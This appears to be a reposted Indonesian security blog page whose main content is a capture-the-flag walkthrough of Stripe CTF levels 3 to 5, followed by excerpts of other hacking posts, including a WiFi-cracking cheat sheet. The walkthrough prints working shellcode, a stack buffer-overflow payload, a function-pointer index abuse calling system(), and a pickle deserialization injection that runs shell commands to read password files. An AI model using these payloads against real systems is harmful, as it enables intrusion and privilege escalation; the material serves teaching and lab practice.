Jadi payload yang akan diinjeksi adalah:

\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80 + \x90 + \x2b\x89\x04\x08

35 byte pertama adalah shellcode, diikuti dengan 1 byte \x90 (NOP) yang hanya berfungsi sebagai alignment saja untuk menggenapi 35 byte menjadi 36 byte agar kelipatan 4. Sedangkan 4 byte terakhir dari payload tersebut adalah alamat fungsi “call eax” sehingga total menjadi 40 byte (tetap kelipatan 4). Sekarang setelah payload siap, kita harus tentukan berapa index array fns yang akan dipakai?

Pada gambar di bawah ini terlihat buf sudah berisi shellcode+NOP+alamat fungsi “call eax”.

Dengan sedikit coba-coba dengan gdb, diketahui index yang pas menunjuk pada alamat fungsi “call eax” adalah -19. Perhatikan bahwa fns[-19] merujuk pada lokasi memori 0xfff62560 yang berisi 0x0804892b (alamat fungsi “call eax”). Jadi seperti halnya fns[0] berisi alamat to_upper(), fns[1] berisi alamat to_lower(), maka fns[-19] berisi alamat fungsi “call eax”.

Step by step di gdb sudah menunjukkan hasil yang positif. Sebelum mengeksekusi CALL EAX, register EAX sudah merujuk pada lokasi shellcode, sehingga CALL EAX = CALL SHELLCODE.

Namun ternyata setelah dicoba CALL EAX, muncul error segmentation fault.

Ternyata penyebabnya adalah non-executable stack:

$ readelf -l /levels/level03 |grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x4
$ fvvvvv

Padahal bila dicoba dengan executable yang flag stacknya RWE, cara ini bisa berhasil dengan mulus.

Cara 2

Oke, ternyata cara pertama gagal karena ternyata flag stacknya RW, bukan RWE. Sekarang kita coba cara lain. Perhatikan pada baris ke-50 ada function run() yang isinya adalah memanggil fungsi system(). Fungsi ini ceritanya sudah deprecated jadi alamat fungsi run() ini tidak dimasukkan dalam kumpulan function pointer di array fns seperti to_upper(), to_lower(), capitalize() dan length().

int run(const char *str)
{
  // This function is now deprecated.
  return system(str);
}

Walaupun alamat fungsi run() ini tidak masuk dalam array fns, tapi tetap saja sebagai sebuah function, run() tetap memiliki alamat.

level03@ctf6:/tmp/tmp.K9T2uxWAMl$ objdump -d /levels/level03|grep '<run>'
0804875b <run>:

Dengan objdump kita mendapatkan alamat fungsi run() adalah 0x0804875b. Alamat ini harus kita masukkan ke buf, kemudian dengan index negatif, fns akan mengambil alamat fungsi run(). Payload yang akan kita kirim sebagai argument program (argv[2]) adalah:

cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08

Di dalam payload ada “\n#” yang fungsinya sebagai comment, sehingga 4 byte terakhir akan diabaikan (tidak dieksekusi). Adanya 3 new line sebelumnya (\n\n\n) fungsinya hanya untuk alignment agar total payload panjangnya 36 (kelipatan 4).

$ gdb -q --args /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
 
Breakpoint 1, truncate_and_call (fns=0xffb23ffc, index=-20,
    user_string=0xffb2591f "cat /home/level04/.password\n\n\n\n#[\207\004\b")
    at level03.c:62
 
(gdb) x/12xw &buf
0xffb23f8c:     0x20746163      0x6d6f682f      0x656c2f65      0x306c6576
0xffb23f9c:     0x702e2f34      0x77737361      0x0a64726f      0x230a0a0a
0xffb23fac:     0x0804875b      0x00000000      0x00000000      0x00000000
(gdb) p &fns[-20]
$1 = (fn_ptr *) 0xffb23fac
(gdb) p *(fns[-20])
$2 = {int (const char *)} 0x804875b <run>

Dari gdb terlihat bahwa payload kita sudah masuk dalam buf (0×20746163 = “cat “, 0x6d6f682f = “/hom” dst). Akhir dari payload kita ada pada alamat 0xffb23fac, berisi 0x0804875b (alamat fungsi “call eax”). Kemudian kita mencari selisih antara alamat fns (0xffb23ffc) dan lokasi dalam buf yang berisi alamat fungsi “call eax” (0xffb23fac) dalam kelipatan 4. (0xffb23ffc-0xffb23fac)/4 = 20, sehingga indexnya yang pas adalah -20. Jadi kini fns[-20] berisi alamat fungsi run().

Seperti yang lainnya juga, bila user memasukkan index 0, maka yang dipanggil adalah fungsi to_upper(), bila user memasukkan index 1, maka yang dipanggil adalah fungsi to_lower(). Begitu juga dalam exploit ini user memasukkan index -20, maka yang dipanggil adalah fungsi run().

$ /levels/level03 -20 "$(printf "cat /home/level04/.password\n\n\n\n#\x5b\x87\04\x08")"
i5cBbPvPCpcP

Akhirnya berhasil juga mendapatkan password level04, yaitu i5cBbPvPCpcP.

Level 04

Kita lanjut lagi ke level 04. Sama seperti sebelumnya, kita harus menyalahgunakan aplikasi /levels/level04 untuk membaca file /home/level05/.password

Congratulations on making it to level 4!
 
The password for the next level is in /home/level05/.password. As
before, you may find /levels/level04 and /levels/level04.c useful.
The vulnerabilities overfloweth!

Dengan percobaan dibawah ini terlihat bahwa ini adalah contoh klasik buffer overflow.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ gdb -q --args /levels/level04 $(perl -e 'printf "A"x1100')
Reading symbols from /levels/level04...(no debugging symbols found)...done.
(gdb) r
Starting program: /levels/level04 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: the debug information found in "/lib/ld-2.11.1.so" does not match "/lib/ld-linux.so.2" (CRC mismatch).
 
 
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

Source code dari aplikasi ini adalah:

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
 
void fun(char *str)
{
  char buf[1024];
  strcpy(buf, str);
}
 
int main(int argc, char **argv)
{
  if (argc != 2) {
    printf("Usage: ./level04 STRING");
    exit(-1);
  }
  fun(argv[1]);
  printf("Oh no! That didn't work!\n");
  return 0;
}

Buffer overflow bisa terjadi pada baris ke-8, bila fungsi strcpy() menyalin isi str yang panjangnya lebih besar dari 1024 ke dalam buf yang panjangnya terbatas hanya 1024.

Kita gunakan pattern_create dan pattern_offset dari metasploit untuk menentukan dimana posisi return address. Dengan pattern_offset berhasil diketahui bahwa posisi return address adalah pada byte ke-1036. Dengan mengetahui offset ini payload yang akan kita kirim komposisinya adalah:

[1036 byte shellcode + lain2] + [4 byte return address]

Setelah mengetahui offset, selanjutnya adalah menentukan kemana harus return? Kita harus menentukan return address agar shellcode kita tereksekusi. Kita lihat dulu, apakah ASLR diaktifkan di mesin ini?

Ternyata alamat stack pointer berubah-ubah, artinya mesin ini mengaktifkan randomize_va_space atau ASLR. Ini akan menyulitkan kita menentukan return address, sehingga kita harus menggunakan teknik yang sama seperti di level sebelumnya, yaitu teknik CALL EAX.

Kenapa harus CALL EAX ? Karena dari source code baris ke-8, terlihat ada fungsi strcpy(), jadi dijamin isi register EAX selalu berisi lokasi buf setelah fungsi strcpy() selesai dipanggil. Karena EAX berisi lokasi buf, dan buf akan kita isi dengan shellcode, maka CALL EAX = CALL buf = CALL shellcode.

$ objdump -d /levels/level04|grep call |grep eax
 8048438:       ff 14 85 14 9f 04 08    call   *0x8049f14(,%eax,4)
 804847f:       ff d0                   call   *%eax
 804857b:       ff d0                   call   *%eax

Dari objdump kita mendapatkan alamat yang mengandung instruksi call eax, yaitu 0x0804857b (saya ambil salah satu yang paling bawah). Alamat ini statik, tidak ikut berubah karena ASLR, jadi kita bisa pakai sebagai return address. Sama seperti level sebelumnya, kita memakai shellcode yang panjangnya 35 byte yang kita posisikan di awal buf.

Karena shellcode dan byte lain-lain panjangnya 1036 byte, dipakai untuk shellcode 35 byte, masih ada sisa 1001 byte lagi. 1001 byte ini hanya sebagai filler, boleh diisi oleh byte apa saja, asalkan bukan null byte (\x00) karena null byte adalah penanda akhir sebuah string. Jadi kini payload kita menjadi:

"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" + "\x99"x1001 + "\x7b\x85\x04\x08"

Sekarang payload sudah siap, bisa langsung kita coba.

level04@ctf5:/tmp/tmp.NGRBxhqLuX$ whoami
level04
level04@ctf5:/tmp/tmp.NGRBxhqLuX$ /levels/level04 $(perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"."\x99" x 1001 . "\x7b\x85\x04\x08"')
$ whoami
level05
$ cat /home/level05/.password
fzfDGnSmd317

Level 05

Oke sekarang kita lanjut ke level 05. Berikut adalah petunjuk level 05.

Congratulations on making it to level 5! You're almost done!
 
The password for the next (and final) level is in /home/level06/.password.
 
As it turns out, level06 is running a public uppercasing service. You
 can POST data to it, and it'll uppercase the data for you:
 
  curl localhost:9020 -d 'hello friend'
  {
      "processing_time": 5.0067901611328125e-06,
      "queue_time": 0.41274619102478027,
      "result": "HELLO FRIEND"
  }
 
You can view the source for this service in /levels/level05. As you
can see, the service is structured as a queue server and a queue
worker.
 
Could it be that this seemingly innocuous service will be level06's
downfall?

Source code aplikasi ini adalah:

#!/usr/bin/env python
import logging
import json
import optparse
import os
import pickle
import random
import re
import string
import sys
import time
import traceback
import urllib
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
 
LOGGER_NAME = 'queue'
logger = logging.getLogger(LOGGER_NAME)
logger.addHandler(logging.StreamHandler(sys.stderr))
 
TMPDIR = '/tmp/level05'
 
 
class Job(object):
    QUEUE_JOBS = os.path.join(TMPDIR, 'jobs')
    QUEUE_RESULTS = os.path.join(TMPDIR, 'results')
 
    def __init__(self):
        self.id = self.generate_id()
        self.created = time.time()
        self.started = None
        self.completed = None
 
    def generate_id(self):
        return ''.join([random.choice(string.ascii_letters) for i in range(20)])
 
    def job_file(self):
        return os.path.join(self.QUEUE_JOBS, self.id)
 
    def result_file(self):
        return os.path.join(self.QUEUE_RESULTS, self.id)
 
    def start(self):
        self.started = time.time()
 
    def complete(self):
        self.completed = time.time()
 
 
class QueueUtils(object):
    @staticmethod
    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job
 
    @staticmethod
    def serialize(direction, data, job):
        serialized = """type: %s; data: %s; job: %s""" % (direction, data, pickle.dumps(job))
        logger.debug('Serialized to: %r' % serialized)
        return serialized
 
    @staticmethod
    def enqueue(type, data, job):
        logger.info('Writing out %s data for job id %s' % (type, job.id))
        if type == 'JOB':
            file = job.job_file()
        elif type == 'RESULT':
            file = job.result_file()
        else:
            raise ValueError('Invalid type %s' % type)
 
        serialized = QueueUtils.serialize(type, data, job)
        with open(file, 'w') as f:
            f.write(serialized)
            f.close()
 
 
class QueueServer(object):
    # Called in server
    def run_job(self, data, job):
        QueueUtils.enqueue('JOB', data, job)
        result = self.wait(job)
        if not result:
            result = (None, 'Job timed out', None)
        return result
 
    def wait(self, job):
        job_complete = False
        for i in range(10):
            if os.path.exists(job.result_file()):
                logger.debug('Results file %s found' % job.result_file())
                job_complete = True
                break
            else:
                logger.debug('Results file %s does not exist; sleeping' % job.result_file())
                time.sleep(0.2)
 
        if job_complete:
            f = open(job.result_file())
            result = f.read()
            os.unlink(job.result_file())
            return QueueUtils.deserialize(result)
        else:
            return None
 
 
class QueueWorker(object):
    def __init__(self):
        # ensure tmp directories exist
        if not os.path.exists(Job.QUEUE_JOBS):
            os.mkdir(Job.QUEUE_JOBS)
        if not os.path.exists(Job.QUEUE_RESULTS):
            os.mkdir(Job.QUEUE_RESULTS)
 
    def poll(self):
        while True:
            available_jobs = [os.path.join(Job.QUEUE_JOBS, job) for job in os.listdir(Job.QUEUE_JOBS)]
            for job_file in available_jobs:
                try:
                    self.process(job_file)
                except Exception, e:
                    logger.error('Error processing %s' % job_file)
                    traceback.print_exc()
                else:
                    logger.debug('Successfully processed %s' % job_file)
                finally:
                    os.unlink(job_file)
            if available_jobs:
                logger.info('Processed %d available jobs' % len(available_jobs))
            else:
                time.sleep(1)
 
    def process(self, job_file):
        serialized = open(job_file).read()
        type, data, job = QueueUtils.deserialize(serialized)
 
        job.start()
        result_data = self.perform(data)
        job.complete()
 
        QueueUtils.enqueue('RESULT', result_data, job)
 
    def perform(self, data):
        return data.upper()
 
 
class QueueHttpServer(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(404)
        self.send_header('Content-type','text/plain')
        self.end_headers()
 
        output = { 'result' : "Hello there! Try POSTing your payload. I'll be happy to capitalize it for you." }
        self.wfile.write(json.dumps(output))
        self.wfile.close()
 
    def do_POST(self):
        length = int(self.headers.getheader('content-length'))
        post_data = self.rfile.read(length)
        raw_data = urllib.unquote(post_data)
 
        queue = QueueServer()
        job = Job()
        type, data, job = queue.run_job(data=raw_data, job=job)
        if job:
            status = 200
            output = { 'result' : data, 'processing_time' : job.completed - job.started, 'queue_time' : time.time() - job.created }
        else:
            status = 504
            output = { 'result' : data }
 
        self.send_response(status)
        self.send_header('Content-type','text/plain')
        self.end_headers()
        self.wfile.write(json.dumps(output, sort_keys=True, indent=4))
        self.wfile.write('\n')
        self.wfile.close()
 
def run_server():
    try:
        server = HTTPServer(('127.0.0.1', 9020), QueueHttpServer)
        logger.info('Starting QueueServer')
        server.serve_forever()
    except KeyboardInterrupt:
        logger.info('^C received, shutting down server')
        server.socket.close()
 
def run_worker():
    worker = QueueWorker()
    worker.poll()
 
def main():
    parser = optparse.OptionParser("""%prog [options] type""")
    parser.add_option('-v', '--verbosity', help='Verbosity of debugging output.',
                      dest='verbosity', action='count', default=0)
    opts, args = parser.parse_args()
    if opts.verbosity == 1:
        logger.setLevel(logging.INFO)
    elif opts.verbosity >= 2:
        logger.setLevel(logging.DEBUG)
 
    if len(args) != 1:
        parser.print_help()
        return 1
 
    if args[0] == 'worker':
        run_worker()
    elif args[0] == 'server':
        run_server()
    else:
        raise ValueError('Invalid type %s' % args[0])
 
    return 0
 
if __name__ == '__main__':
    sys.exit(main())

Ini adalah aplikasi web yang dibuat dengan bahasa python. Aplikasi ini memakai module pickle yang diketahui dangerous bila tidak berhati-hati memakainya. Artikel sour pickle di blackhat-USA 2011 ini menjelaskan tentang eksploitasi pickle.

Problem utamanya adalah pada fungsi deserialize() di bawah ini:

    def deserialize(serialized):
        logger.debug('Deserializing: %r' % serialized)
        parser = re.compile('^type: (.*?); data: (.*?); job: (.*?)$', re.DOTALL)
        match = parser.match(serialized)
        direction = match.group(1)
        data = match.group(2)
        job = pickle.loads(match.group(3))
        return direction, data, job

Pada baris ke-7 ada pemanggilan fungsi pickle.loads() untuk mengubah string menjadi object (deserialize). Fungsi load ini bisa diexploitasi untuk mengeksekusi command shell bila string yang diload adalah string yang malicious.

Sebelumnya mari kita coba menjalankan aplikasi ini di system sendiri agar lebih leluasa melihat lognya. Dengan menjalankan command:

curl localhost:9020 -d 'testdata'

Berikut ini adalah log yang terlihat:

1
2

Deserializing: "type: JOB; data: testdata; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb."
TEST ini JOBnya lhooo--> "ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'zHVfBIZvbnpXpPOgCmTG'\np9\nsS'created'\np10\nF1330412913.7635019\nsb." <--

Pada baris ke-2 adalah log yang saya tambahkan sendiri untuk melihat string yang akan di load oleh pickle. Input program ini ada 3 field: type, data dan job. Terlihat bahwa string yang diload oleh pickle adalah field job yang bukan berasal dari input user, sedangkan string yang diinput user (“testdata”) tidak ikut diload oleh pickle karena bukan bagian dari field job.

Ide serangannya adalah dengan menginjeksi malicious string yang bila diload oleh pickle akan mengeksekusi command. Contoh string yang malicious adalah:

cos
system
(S'cat /etc/passwd'
tR.

String di atas bila diload oleh pickle akan mengeksekusi command “cat /etc/passwd”.

Tapi masalahnya adalah string yang kita masukkan sebagai input tidak ikut diload oleh pickle karena input user masuk dalam field data, bukan field job. Bagaimanakah caranya agar input user dianggap sebagai bagian dari field job ?

Dari fungsi deserializae() terlihat ada regular expression yang memecah sebuah string menjadi 3 field: type, data dan job. Tiga field tersebut dipisahkan oleh karakter ‘;’. Bagaimana bila kita memasukkan input string yang mengandung karakter ‘;’ seperti ini:

curl localhost:9020 -d 'inidata; job: inijob'

Berikut adalah log yang terlihat:

Deserializing: "type: JOB; data: inidata; job: inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb."
TEST ini JOBnya lhooo--> "inijob; job: ccopy_reg\n_reconstructor\np0\n(c__main__\nJob\np1\nc__builtin__\nobject\np2\nNtp3\nRp4\n(dp5\nS'started'\np6\nNsS'completed'\np7\nNsS'id'\np8\nS'CqFtmBmXTVmVDDhfgSUe'\np9\nsS'created'\np10\nF1330413858.050092\nsb." <--

Perhatikan bahwa sebagian dari string yang kita input kini menjadi bagian dari field job dan ikut diload oleh pickle. Ini karena regular expression mendeteksi adanya karakter ‘;’ dalam input string kita sehingga menganggap sebagai batas field dan memasukkan string ‘inijob’ menjadi bagian dari field job.

Oke kini kita sekarang sudah berhasil menginjeksi string ke dalam field job yang akan diload oleh pickle. Sekarang tinggal bagaimana menyusun payload yang valid untuk diinjeksikan ke dalam aplikasi. Dengan payload sederhana di bawah ini password level06 bisa didapatkan.

$ cat payload.pkl
cos
system
(S'cat /home/level06/.password > /tmp/levelsixx'
tR.
$ curl localhost:9020 -d "hajar; job: `cat payload.pkl`"
{
    "result": "Job timed out"
}
$ cat /tmp/levelsixx
SF2w8qU1QDj

Memahami Serangan Hash table Collision Denial of Service

On January 12, 2012, in Web Security, by Rizki Wicaksono

Pada Desember 2011 lalu, nRuns AG mempublikasikan kerentantan pada implementasi hash table yang bisa dieksploitasi untuk melakukan serangan denial of service. Karena hash table adalah struktur data dasar yang tersedia di hampir semua bahasa pemrograman, maka kerentanan ini bisa dieksploitasi di hampir semua bahasa pemrograman yang ada, termasuk PHP, ASP.NET, Java, Ruby dsb.

Sebagai tulisan pembuka di tahun 2012, saya akan membahas mengenai apa itu hash table, cara kerja hash table, di mana kerentanan implementasi hash table saat ini dan bagaimana cara mengeksploitasinya.

Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough

On July 31, 2011, in Web Security, by Rizki Wicaksono

Dalam tulisan ini saya akan sharing bagaimana menyelesaikan challenge CTF OWASP dalam Appsec USA 2011.

Dalam challenge ini kita diminta mendownload sebuah file ZIP yang berisi sebuah Applet (dalam JAR) dan html untuk me-load Applet tersebut. Ketika Applet tersebut dibuka di browser akan terlihat seperti ini:

Kita dihadapkan pada form yang meminta kita memasukkan username dan PIN. Jadi challenge kita adalah menemukan username dan PIN yang tepat untuk mendapatkan flag yang terenkripsi. Dari form tersebut kita mendapat clue bahwa PIN ini formatnya adalah 6 digit.

Memahami Teknik Penyebaran Status Berantai di Facebook

On March 30, 2011, in Web Security, by Rizki Wicaksono

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

iRedAPD root exploit [with video]

On November 12, 2010, in Advisory, by Rizki Wicaksono

iRedAPD adalah salah satu komponen dari iRedMail yang merupakan kumpulan script dan tools untuk membuat mail server lengkap dengan cara instalasi yang mudah dan sederhana. Saya menemukan kelemahan pada iRedAPD sebelum versi 1.3.3 yang bisa dieksploit untuk mendapatkan root. Bug ini saya temukan bulan juli 2010, advisory sudah diumumkan di sini. Agar lebih jelas, di akhir tulisan saya embed juga video proof-of-concept eksploitasi bug ini.

[Videos] Applying WiFu Cheat Sheet

On August 4, 2010, in How to, by Rizki Wicaksono

Agar lebih mudah memahami pemakaian WiFu Cheat Sheet, saya membuat 4 video tutorial untuk masing-masing skenario, yaitu WEP SKA, WEP OSA, Clientless WEP dan WPA/WPA2 PSK.

Dalam video saya memasukkan MAC address access point, MAC address komputer yang menjalankan backtrack dan MAC address salah satu client yang terkoneksi ke access point ke dalam file macaddress.sh untuk menyederhanakan video. Informasi MAC address access point dan MAC address client bisa didapatkan dengan menjalankan “airodump-ng wlan0″ , sedangkan informasi MAC address komputer sendiri bisa didapatkan dengan menjalankan “macchanger -s wlan0″.

Clientless WEP

Continue reading »

WiFu Cheat Sheet

On July 26, 2010, in How to, by Rizki Wicaksono

Saya baru membuat cheat sheet yang cukup padat namun singkat untuk hacking wireless network dengan Aircrack-ng . Aircrack-ng adalah kumpulan tools yang digunakan untuk melakukan hacking terhadap jaringan wireless. Tools yang termasuk dalam aircrack-ng antara lain: airmon-ng, airodump-ng, aireplay-ng, packetforge-ng, aircrack-ng dan masih banyak lagi lainnya.

Pre-requisite:

Backtrack, nggak harus tapi very recommended
Wireless adapter dengan kemampuan packet injection. Saya pakai Alfa AWUS036H karena jangkauannya sangat jauh dan works out of the box di backtrack. Daftar lengkap wireless adapter yang compatible dengan backtrack bisa dilihat di daftar ini HCL: Wireless.

Cheat sheet ini mengcover sebagian besar kemungkinan situasi di dunia nyata. Skenario jaringan wireless yang bisa dihack dengan mengikuti cheat sheet ini adalah:

WEP open authentication dengan client atau tanpa client (clientless WLAN)
WEP shared key authentication (minimal harus ada 1 client)
WPA/WPA2 Pre Shared Key (minimal harus ada 1 client)

Hampir semua jaringan wireless yang ada sekarang masuk dalam 3 kemungkinan di atas. Jaringan dengan WEP, praktis bisa dihack semua. Jaringan dengan WPA/WPA2 bisa dihack dengan dictionary attack, jadi sangat tergantung daftar password yang dimiliki. Dalam cheat sheet saya juga menyertakan cara menggunakan john the ripper untuk generate password list atau melakukan modifikasi daftar password dasar menjadi kata baru berdasarkan aturan tertentu.

Oke, selanjutnya langsung saja download cheat sheetnya: WiFu Cheat Sheet 1.0

TEKOJAWA.COM

Ads 468x60px

Wednesday, October 31, 2012

Exploiting Weak Random Number

Stripe CTF Level 1-5

Memahami Serangan Hash table Collision Denial of Service

Pre-conference Challenge #3 OWASP AppsecUSA 2011 – Walkthrough

Memahami Teknik Penyebaran Status Berantai di Facebook

iRedAPD root exploit [with video]

[Videos] Applying WiFu Cheat Sheet

WiFu Cheat Sheet

0 comments:

Post a Comment

Followers

visitor of state

like me on FaceBook

pengunjung

comment on facebook

join me on facebook

Popular Posts

Labels

Blog Archive